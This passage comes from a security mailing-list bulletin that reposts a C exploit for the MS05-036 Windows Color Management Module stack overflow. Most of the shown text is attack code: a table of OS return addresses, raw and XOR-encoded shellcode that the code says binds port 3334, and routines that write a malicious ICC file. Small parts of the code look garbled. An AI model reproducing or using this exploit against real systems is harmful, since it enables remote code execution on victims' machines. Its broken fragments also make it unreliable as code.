"\x00\x28\x00\xA0\x02\x80\x0A\x00\x28\x00\xA0\x02\x80\x0A\x00\x28";
```

```
struct {  
char *os;  
long jmpADD;  
long writeable_add;  
}
```

```
targets[] = {  
{ "Windows XP without SP eng/rus", 0x77E9FC79, 0x00064000 },  
{ "Windows XP SP1 eng/rus ", 0x77E9AE59, 0x00064000 },  
{ "Windows 2000 SP0 ", 0x77f8948b, 0x00064000 },  
{ "Crash Explorer ", 0x41424344, 0x00064000 },  
{ "Dummy (crash all) ", 0x0, 0x00064000 },  
, v;  
}
```

```

unsigned char shellcode[] =
"\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xb0\x8c\x35\x83\xeb\xfc\xe2\xf4\xa2\xda\x67\x78\xb6\x49\x73\xca"
"\xa1\xd0\x07\x59\x7a\x94\x07\x70\x62\x3b\xf0\x30\x26\xb1\x63\xbe"
"\x11\xa8\x07\xa6\xe7\xb1\x67\x7c\xd5\x84\x07\x34\xb0\x81\x4c\xac"
"\xf2\x34\x4c\x41\x59\x71\x46\x38\x5f\x72\x67\xc1\x65\xe4\xa8\x1d"
"\x2b\x55\x07\xa6\x7a\xb1\x67\x53\xd5\xbc\xc7\xbe\x01\xac\x8d\xde"
"\x5d\x9c\x07\xbc\x32\x94\x90\x54\x9d\x81\x57\x51\xd5\xf3\xbc\xbe"
"\x1e\xbc\x07\x45\x42\x1d\x07\x75\x56\xee\xe4\xbb\x10\xbe\x60\x65"
"\xa1\x66\xea\x66\x38\xd8\xbf\x07\x36\xc7\xff\x07\x01\xe4\x73\xe5"
"\x36\x7b\x61\xc9\x65\xe0\x73\xe3\x01\x39\x69\x53\xdf\x5d\x84\x37"
"\x0b\xda\x8e\xca\x8e\xd8\x55\x3c\xab\x1d\xdb\xca\x88\xe3\xdf\x66"
"\x0d\xe3\xcf\x66\x1d\xe3\x73\xe5\x38\xd8\x81\x33\x38\xe3\x05\xd4"
"\xcb\xd8\x28\x2f\x2e\x77\xdb\xca\x88\xda\x9c\x64\x0b\x4f\x5c\x5d"
"\xfa\x1d\xa2\xdc\x09\x4f\x5a\x66\x0b\x4f\x5c\x5d\xbb\xf9\x0a\x7c"
"\x09\x4f\x5a\x65\x0a\xe4\xd9\xca\x8e\x23\xe4\xd2\x27\x76\xf5\x62"
"\xa1\x66\xd9\xca\x8e\x66\xe6\x51\x38\xd8\xef\x58\xd7\x55\xe6\x65"
"\x07\x99\x40\xbc\xb9\xda\xc8\xbc\xbc\x81\x4c\xc6\xf4\x4e\xce\x18"
"\xa0\xf2\xa0\xa6\xd3\xca\xb4\x9e\xf5\x1b\xe4\x47\xa0\x03\x9a\xca"
"\x2b\xf4\x73\xe3\x05\xe7\xde\x64\x0f\xe1\xe6\x34\x0f\xe1\xd9\x64"
"\xa1\x60\xe4\x98\x87\xb5\x42\x66\xa1\x66\xe6\xca\xa1\x87\x73\xe5"
"\xd5\xe7\x70\xb6\x9a\xd4\x73\xe3\x0c\x4f\x5c\x5d\xae\x3a\x88\x6a"
"\x0d\x4f\x5a\xca\x8e\xb0\x8c\x35";

```

```

char shellcod2e[]=
"\xeb\x0e\x5b\x4b\x33\xc9\xb1\xf1\x80\x34\x0b\xee\xe2\xfa\xeb\x05"
"\xe8\xed\xff\xff\xff"
/* 220 bytes shellcode, xor with 0xee */
"\x07\x4a\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\xaa\xee\xee\xee"
"\x0c\x17\x86\x81\x80\xee\xee\x86\x9b\x9c\x82\x83\xba\x11\xf8\x65"
"\x06\x06\xc0\xee\xee\xee\x6d\x02\xce\x65\x32\x84\xce\xbd\x11\xb8"
"\xea\x29\xea\xed\xb2\x8f\xc0\x8b\x29\xaa\xed\xea\x96\x8b\xee\xee"
"\xdd\x2e\xbe\xbe\xbd\xb9\xbe\x11\xb8\xfe\x65\x32\xbe\xbd\x11\xb8"
"\xe6\x11\xb8\xe2\xbf\xb8\x65\x9b\xd2\x65\x9a\xc0\x96\xed\x1b\xb8"
"\x65\x98\xce\xed\x1b\xdd\x27\xa7\xaf\x43\xed\x2b\xdd\x35\xe1\x50"
"\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3\xed\x34\xae\x05\x1f\xd5\xf1\x9b"
"\x09\xb0\x65\xb0\xca\xed\x33\x88\x65\xe2\xa5\x65\xb0\xf2\xed\x33"
"\x65\xea\x65\xed\x2b\x45\xb0\xb7\x2d\x06\xb9\x11\x11\x11\x60\xa0"
"\xe0\x02\x2f\x97\x0b\x56\x76\x10\x64\xe0\x90\x36\x0c\x9d\xd8\xf4"
"\xc1\x9e\x86\x9a\x9a\x9e\xd4\xc1\xc1\xdf\xdc\xd9\xc0\xde\xc0\xde"
"\xc0\xdf\xc1\x9a\x8b\x9d\x9a\xc0\x8b\x96\x8b\xee";

```

```

unsigned char b[4];

```

```

DWORD t2b(DWORD pBuf)
{

```

```
DWORD ret;

*((char*)&ret + 0) = *((char*)&pBuf +3);
*((char*)&ret + 1) = *((char*)&pBuf +2);
*((char*)&ret + 2) = *((char*)&pBuf +1);
*((char*)&ret + 3) = *((char*)&pBuf);

return ret;

}

void get_bytes(long word)
{
b[0]=word&0xff;
b[1]=(word>>8)& 0xff;
b[2]=(word>>16)&0xff;
b[3]=(word>>24)&0xff;
}

void err_exit(char *s)
{
printf("%s\n",s);
exit(0);
}

void hexdump(char * pbuf,unsigned int size)
{
unsigned int i = 0;
for (; i < size ; i++){
printf("%.2X ", (unsigned char) pbuf[i]);
if( (i+1) % 16 == 0)
putchar('\n');
}

return;
}

void buildfile()
{
int i=0;
FILE *fd;

if ((fd=fopen(FNAME,"wb"))==NULL) {
err_exit("-> Failed to generate file...");
}

for(;i<BSIZE;i++) {
fputc(buff[i],fd);
```

```
}

fclose(fd);

printf("-> '%s' generated.\n",FNAME);
printf("-> shellcode binds 3334 port.\n");

}

void dword_revert(char * p,unsigned int size)
{
DWORD * ptr = &p;
int i = 0;
char * q = p + size; //end

for(; p <= q; p +=4)
{
*p ^= *(p+3);
*(p+3) ^= *p;
*p ^= *(p+3);

*(p+1) ^= *(p+2);
*(p+2) ^= *(p+1);
*(p+1) ^= *(p+2);
}

return;
}

void list_target()
{
unsigned int i = 0 ;

printf("\nTargets \t\t\n");
while(targets[i].jmpADD != NULL){
printf("#%d\t%s\n", i+1, targets[i].os);
i++;
}
return;
}

int main(int argc, char *argv[])
{
int i=0, t=TARGET, size=0;
int shal = 0;
unsigned int sc_size = strlen(shellcode);
unsigned int tag_size = stack_land_offset - tag_content_offset + 1 +
sc_size ;
```

[EXPL] Microsoft Color Management Module Code Execution (MS05-036) – Exploit

```
long fRetaddr = 0x00;

if (argc < 2) {
printf("\n\n");

printf("* Windows ICC stack overflow exploit (MS05-36)\n");
printf("* Code Execution Exploit\n");
printf("* (c) Darkeagle [ private code ]\n");
printf("* usage -> ms05-036 <target> (jmp/call esp)\n");
list_target();
exit(0);
}

t=atoi(argv[1]);

if ( argc == 3 )
sscanf(argv[2], "0x%x", &fRetaddr);

memset(buff + tag_content_offset, 0x90,tag_size);

*(DWORD*)(buff + no_access_violate2) = t2b(targets[t-1].writeable_add);
*(DWORD*)(buff + no_access_violate) = t2b(0x4);
if ( fRetaddr == 0x00 )
{
*(DWORD*)(buff + ret_addr_offset) = t2b(targets[t-1].jmpADD);
} else {
*(DWORD*)(buff + ret_addr_offset) = t2b(fRetaddr);
}
strcpy(buff + stack_land_offset, shellcode, sc_size);
dword_revert(buff + stack_land_offset, sc_size);

tag_size = (tag_size >> 2 << 2) + 4;
printf("current size: 0x%.8X\n",tag_size);
*(DWORD*)(buff + content_size_offset) = t2b(tag_size);

buildfile();

return 0;

}
/* EoF */
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:info@xxxxxxxxxxx>> darkeagle .

The original article can be found at: <<http://unl0ck.org/>>

<http://unl0ck.org/>

The ordinal advisory can be found at:

<<http://www.securiteam.com/windowsntfocus/5WPOBOUGAO.html>>

<http://www.securiteam.com/windowsntfocus/5WPOBOUGAO.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.